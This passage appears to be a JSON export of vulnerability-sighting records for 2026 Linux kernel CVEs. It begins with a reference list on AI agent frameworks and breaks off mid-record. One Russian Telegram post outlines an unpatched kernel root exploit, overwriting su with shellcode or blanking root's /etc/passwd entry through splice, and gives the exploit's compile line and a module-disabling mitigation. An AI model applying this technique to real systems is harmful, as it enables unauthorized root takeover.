[https://cobusgreyling.substack.com/p/bigtool-from-langchain](https://cobusgreyling.substack.com/p/bigtool-from-langchain) | [https://cobusgreyling.medium.com/bigtool-from-langchain-9d802cf5b6df](https://cobusgreyling.medium.com/bigtool-from-langchain-9d802cf5b6df)\n- ITR Lazy-Loaded Procedural Policy: [https://bechirtr97.medium.com/stop-bloated-agent-prompts-a-pattern-i-call-lazy-loaded-procedural-policy-b6ade44dd1aa](https://bechirtr97.medium.com/stop-bloated-agent-prompts-a-pattern-i-call-lazy-loaded-procedural-policy-b6ade44dd1aa)\n- ToolReAGt OpenReview: [https://openreview.net/forum?id=LTeBIM1rJL](https://openreview.net/forum?id=LTeBIM1rJL)\n- COLT ACM: [https://dl.acm.org/doi/10.1145/3627673.3679847](https://dl.acm.org/doi/10.1145/3627673.3679847)\n- COLT arXiv: [https://arxiv.org/html/2405.16089v1](https://arxiv.org/html/2405.16089v1)\n- RouteLLM OpenAI Community: [https://community.openai.com/t/routellm-from-lm-sys-a-framework-for-serving-and-evaluating-llm-routers/851288](https://community.openai.com/t/routellm-from-lm-sys-a-framework-for-serving-and-evaluating-llm-routers/851288)\n- RouteLLM OpenReview: [https://openreview.net/forum?id=8sSqNntaMr](https://openreview.net/forum?id=8sSqNntaMr)\n- Agno Hacker News: [https://news.ycombinator.com/item?id=44155074](https://news.ycombinator.com/item?id=44155074)\n- Agno Deep Dive: [https://medium.com/@devipriyakaruppiah/agentic-framework-deep-dive-series-part-2-agno-c45da579b7c0](https://medium.com/@devipriyakaruppiah/agentic-framework-deep-dive-series-part-2-agno-c45da579b7c0)\n- Agno Analytics Vidhya: [https://www.analyticsvidhya.com/blog/2025/03/agno-framework/](https://www.analyticsvidhya.com/blog/2025/03/agno-framework/)\n- Agno WorkOS: [https://workos.com/blog/agno-the-agent-framework-for-python-teams](https://workos.com/blog/agno-the-agent-framework-for-python-teams)\n- Agno DigitalOcean: [https://www.digitalocean.com/community/conceptual-articles/agno-fast-scalable-multi-agent-framework](https://www.digitalocean.com/community/conceptual-articles/agno-fast-scalable-multi-agent-framework)\n- Composio 101: [https://www.developersdigest.tech/blog/composio-101](https://www.developersdigest.tech/blog/composio-101)\n- MCP-Zero GitHub (GlobalSushrut): [https://github.com/GlobalSushrut/mcp-zero](https://github.com/GlobalSushrut/mcp-zero)\n- MCP-Zero GitHub (xfey): [https://github.com/xfey/MCP-Zero](https://github.com/xfey/MCP-Zero)\n- Tool RAG LinkedIn: [https://www.linkedin.com/posts/sungupta_tool-rag-the-next-breakthrough-in-scalable-activity-7408867151475986432-zxgS](https://www.linkedin.com/posts/sungupta_tool-rag-the-next-breakthrough-in-scalable-activity-7408867151475986432-zxgS)\n- AI Infrastructure LinkedIn: [https://www.linkedin.com/posts/jaehong-yoon_aiinfrastructure-platformengineering-aiengineering-activity-7475216789837176832-ZwIB](https://www.linkedin.com/posts/jaehong-yoon_aiinfrastructure-platformengineering-aiengineering-activity-7475216789837176832-ZwIB)\n- EMNLP Findings: [https://aclanthology.org/2024.findings-emnlp.561.pdf](https://aclanthology.org/2024.findings-emnlp.561.pdf)\n- KnowLLM: [https://aclanthology.org/2025.knowllm-1.7.pdf](https://aclanthology.org/2025.knowllm-1.7.pdf)\n- Informatica: [https://www.informatica.si/index.php/informatica/article/view/14118/6826](https://www.informatica.si/index.php/informatica/article/view/14118/6826)\n- NullThought: [https://nullthought.net/?p=5166](https://nullthought.net/?p=5166)\n- Springer: [https://dl.acm.org/doi/10.1007/978-3-032-21300-6_15](https://dl.acm.org/doi/10.1007/978-3-032-21300-6_15)\n- Preprints: [https://www.preprints.org/manuscript/202512.1050](https://www.preprints.org/manuscript/202512.1050)\n- arXiv 2511.01854: [https://arxiv.org/html/2511.01854v1](https://arxiv.org/html/2511.01854v1)\n- arXiv 2510.08731: [https://arxiv.org/html/2510.08731v1](https://arxiv.org/html/2510.08731v1)\n- arXiv 2601.10355: [https://arxiv.org/html/2601.10355v1](https://arxiv.org/html/2601.10355v1)\n- arXiv 2502.07223v1: [https://arxiv.org/html/2502.07223v1](https://arxiv.org/html/2502.07223v1)\n- OpenReview 2d7a8cf872: [https://openreview.net/pdf/2d7a8cf872f0c2a89ff1b391044b833eb47d932b.pdf](https://openreview.net/pdf/2d7a8cf872f0c2a89ff1b391044b833eb47d932b.pdf)\n- Composio Issue #2818: [https://github.com/ComposioHQ/composio/issues/2818](https://github.com/ComposioHQ/composio/issues/2818)\n- NousResearch Hermes Agent #18074: [https://github.com/NousResearch/hermes-agent/issues/18074](https://github.com/NousResearch/hermes-agent/issues/18074)\n- Portkey vs OpenRouter: [https://openrouter.ai/blog/openrouter-vs-portkey](https://openrouter.ai/blog/openrouter-vs-portkey)\n- Portkey Gateway Open Source: [https://www.valuespectrum.com/portkey-gateway-open-source](https://www.valuespectrum.com/portkey-gateway-open-source)\n- LiteLLM Roadmap 2026: [https://docs.litellm.ai/docs/roadmap](https://docs.litellm.ai/docs/roadmap)\n- PydanticAI MCP FastMCP Client: [https://pydantic.dev/docs/ai/mcp/fastmcp-client/](https://pydantic.dev/docs/ai/mcp/fastmcp-client/)\n- Agno Agent Framework: [https://www.agno.com/agent-framework](https://www.agno.com/agent-framework)\n", "creation_timestamp": "2026-06-30T14:43:26.959195Z"}, {"uuid": "0de84263-73ef-439d-b5cc-2a4e6ec66520", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31420", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260630", "content": "", "creation_timestamp": "2026-07-01T02:35:34.863079Z"}, {"uuid": "b2d9a3f5-ae44-42ed-89aa-9eb8c97461cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31717", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260630", "content": "", "creation_timestamp": "2026-07-01T02:35:23.055987Z"}, {"uuid": "dcb81bef-b54f-4c43-a53a-fa153de6ae05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31663", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260630", "content": "", "creation_timestamp": "2026-07-01T02:35:25.661781Z"}, {"uuid": "abcbb6a4-758d-4cf4-8c5a-fed50c092627", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31486", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260630", "content": "", "creation_timestamp": "2026-07-01T02:35:32.570737Z"}, {"uuid": "b078e258-e2ca-4d71-bb25-23d0254b9328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31613", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260630", "content": "", "creation_timestamp": "2026-07-01T02:35:27.885457Z"}, {"uuid": "6b985d72-ceeb-4a04-bcff-391829848648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31560", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260630", "content": "", "creation_timestamp": "2026-07-01T02:35:30.318797Z"}, {"uuid": "545800a2-4c92-4c30-b2cf-9aca3c103861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31789", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-028", "content": "", "creation_timestamp": "2026-07-01T02:44:46.441855Z"}, {"uuid": "f7e9a5cc-a77a-4b7e-822e-0b49e7bbbd30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-028", "content": "", "creation_timestamp": "2026-07-01T02:44:48.673047Z"}, {"uuid": "6665a432-d0d4-4c2d-be11-3eed05cc0c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31852", "type": "seen", "source": "https://bsky.app/profile/theresidentmachine.bsky.social/post/3mpkqohzwiz2i", "content": "CVE-2026-31852: The Pull Request That Checked Out Your Secrets\n\n#TheResident #ehabhussein #cybersecurity #infosec #vulnerability #CVE #hacking #security #CVE202631852", "creation_timestamp": "2026-07-01T05:06:53.283191Z"}, {"uuid": "ffe07005-25a9-4d54-9a81-f90d75e7f9a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/wh_lab/665", "content": "\ud83e\udde0 \u041f\u043e\u043c\u043d\u0438\u0442\u0435 Copy Fail? \u0422\u0430\u043a \u0432\u043e\u0442, \u043d\u0430\u0448\u043b\u0438 \u0435\u0449\u0451 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e CVE-2026-31431 - 732 \u0431\u0430\u0439\u0442\u0430 Python \u0438 \u0442\u044b root. \u0411\u0430\u0433 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e-\u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430, \u0447\u0435\u0440\u0435\u0437 splice() \u0438 page cache. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b - \u043d\u0443 \u043d\u0430\u0448\u043b\u0438, \u043d\u0443 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0436\u0438\u0432\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435\n\n\u0410 \u0432\u0447\u0435\u0440\u0430 V4bel \u0432\u044b\u043a\u0430\u0442\u0438\u043b DirtyFrag. \u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0430 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430. \u0422\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f - \u0447\u0435\u0440\u0435\u0437 splice() \u0437\u0430\u0433\u043e\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u0430\u0439\u043b\u0430 \u0432 \u044f\u0434\u0435\u0440\u043d\u0443\u044e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u044f\u0434\u0440\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \"\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\" \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache. \u0422\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 AF_ALG, \u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u044f - ESP (IPsec) \u0438 RxRPC\n\n \ud83d\udc40 \u0414\u0432\u0430 \u043f\u0443\u0442\u0438 \u043a root. \u0412\u044b\u0431\u0438\u0440\u0430\u0439 \u043a\u0430\u043a\u043e\u0439 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f\n\n\u041f\u0435\u0440\u0432\u044b\u0439 - \u0447\u0435\u0440\u0435\u0437 ESP. \u0421\u043e\u0437\u0434\u0430\u0451\u043c XFRM-\u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u044e \u0441 UDP-\u0438\u043d\u043a\u0430\u043f\u0441\u0443\u043b\u044f\u0446\u0438\u0435\u0439, \u0437\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b /usr/bin/su \u0432 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d \u0447\u0435\u0440\u0435\u0437 splice(), \u044f\u0434\u0440\u043e \u0434\u0435\u043b\u0430\u0435\u0442 in-place \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 \u043a\u0443\u0434\u0430 \u043c\u044b \u0441\u043a\u0430\u0436\u0435\u043c. \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c 192-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u043e\u0432\u0435\u0440\u0445 su. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c su - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root. \u0417\u0432\u0443\u0447\u0438\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u043e? \u042d\u0442\u043e \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d, \u0447\u0442\u043e \u0438 Copy Fail, \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u0411\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f 2017 \u0433\u043e\u0434\u0430\n\n\u0412\u0442\u043e\u0440\u043e\u0439 - \u0447\u0435\u0440\u0435\u0437 RxRPC, \u0438 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u043e. \u0412\u043c\u0435\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 - \u043f\u0430\u0442\u0447\u0438\u043c /etc/passwd. \u0421\u043e\u0437\u0434\u0430\u0451\u043c rxkad-\u0442\u043e\u043a\u0435\u043d \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u044f\u0434\u0440\u043e \u0447\u0435\u0440\u0435\u0437 rxkad_verify_packet_1() \u0434\u0435\u043b\u0430\u0435\u0442 pcbc(fcrypt) \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0444\u0430\u0439\u043b\u0430. \u0422\u0440\u0438 splice-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0442\u0438\u0435\u043c - \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 root:x:0:0: \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 root::0:0:. \u041f\u0443\u0441\u0442\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. su root, Enter, \u0432\u0441\u0451. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u044e\u0437\u0435\u0440\u0441\u043f\u0435\u0439\u0441\u0435 - \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0444\u043b\u0430\u0439\u043d, \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u044f\u0434\u0440\u0443. \u041e\u0434\u0438\u043d \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u0432 \u043a\u043e\u043d\u0446\u0435. \u042d\u0442\u043e\u0442 \u0431\u0430\u0433 \u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430\n\n\u041d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u043d\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e race condition. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 - \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0434\u0451\u0440\u043d\u0443\u043b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443, page cache \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a - \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439: \n\n\ngcc -O0 -Wall -o exp exp.c -lutil\n\n\n\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 - CVE \u043d\u0435\u0442. \u041f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0441\u043b\u043e\u043c\u0430\u043b \u044d\u043c\u0431\u0430\u0440\u0433\u043e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0435\u043d\u0434\u043e\u0440\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u0442\u044c \u0444\u0438\u043a\u0441\u044b. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u0432\u044f\u0437\u0430\u043b\u0441\u044f \u0441 linux-distros@openwall, \u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c - \u0438 \u043e\u043d \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b. \u041f\u043e\u043b\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0437\u0430\u043f\u0443\u0441\u043a. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - zero-day \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435\n\n\u0427\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c. Dirty Pipe \u0432 2022 - page cache \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0439\u043f\u044b. Copy Fail \u043d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 - page cache \u0447\u0435\u0440\u0435\u0437 AF_ALG. DirtyFrag \u0432\u0447\u0435\u0440\u0430 - page cache \u0447\u0435\u0440\u0435\u0437 ESP \u0438 RxRPC. \u0422\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0430\u0433-\u043a\u043b\u0430\u0441\u0441. \u042f\u0434\u0440\u043e Linux \u043f\u043e\u043b\u043d\u043e \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u044e\u0442\u0441\u044f \u00ab\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\u00bb \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0437 splice(). \u041a\u0430\u0436\u0434\u043e\u0435 \u0442\u0430\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e - \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 page cache. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0435\u0449\u0451 \u0442\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442 \u0432 \u044f\u0434\u0440\u0435 - \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439. \u041f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e - \u043d\u0435 \u043c\u0430\u043b\u043e \ud83d\udc40\n\n\n\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 (\u043f\u0430\u0442\u0447\u0430-\u0442\u043e \u043d\u0435\u0442):\n\n\nprintf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf\nrmmod esp4 esp6 rxrpc 2>/dev/null\n\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u043e\u043c\u0430\u0442\u044c\u0441\u044f - ESP \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f IPsec VPN. \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 site-to-site IPsec \u0438\u043b\u0438 strongSwan - \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0434\u0432\u0430\u0436\u0434\u044b. RxRPC \u043d\u0430 Ubuntu \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e AFS (Andrew File System). \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 AFS - \u0441\u043c\u0435\u043b\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435\n\n\u0422\u0440\u0438 \u0433\u043e\u0434\u0430, \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442. \u0414\u0432\u0430 \u0431\u0430\u0433\u0430 \u043b\u0435\u0436\u0430\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u0438 \u0436\u0434\u0430\u043b\u0438. \u041e\u0434\u0438\u043d \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0434\u0438\u043d claude, \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. \u0418 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430. \u0412\u043e\u0442 \u0432\u0430\u043c \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435", "creation_timestamp": "2026-08-15T08:00:03.844457Z"}, {"uuid": "510caf3e-2c1f-4051-989b-facdbc37b6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplpbykeuc2h", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 \u0432 \u044f\u0434\u0440\u0435 Linux: \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0438 \u043a\u0430\u043a \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430\n\n\n\nhttps://kripta.biz/posts/E0EFFE72-F90A-4379-B73B-94E015F258EA", "creation_timestamp": "2026-07-01T14:14:41.971225Z"}, {"uuid": "18a1ee89-e360-45ae-abec-e38478d3ad32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mpms65ldhy2r", "content": "Unprivileged root via an out-of-bounds write in the FUSE readdir cache (CVE-2026-31694)\nDiscussion | lobsters | Author: fro", "creation_timestamp": "2026-07-02T00:38:52.498965Z"}, {"uuid": "abdb57a8-6726-4c48-aa7d-69965d8251cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://bsky.app/profile/lobsters-feed.bsky.social/post/3mpmsaap7ne2s", "content": "Unprivileged root via an out-of-bounds write in the FUSE readdir cache (CVE-2026-31694) https://lobste.rs/s/0kc445 #security #linux ", "creation_timestamp": "2026-07-02T00:40:03.957577Z"}, {"uuid": "5a4d5d1c-ef12-4b1e-b75f-8f92ad25f28c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnbtcljea2r", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 \u0432 \u044f\u0434\u0440\u0435 Linux: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/BA8EEDCA-B7EA-4551-A360-EDAD787A26FA", "creation_timestamp": "2026-07-02T05:19:08.358406Z"}, {"uuid": "44776503-a30e-43fd-9b1c-48ad71c02dc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31436", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": 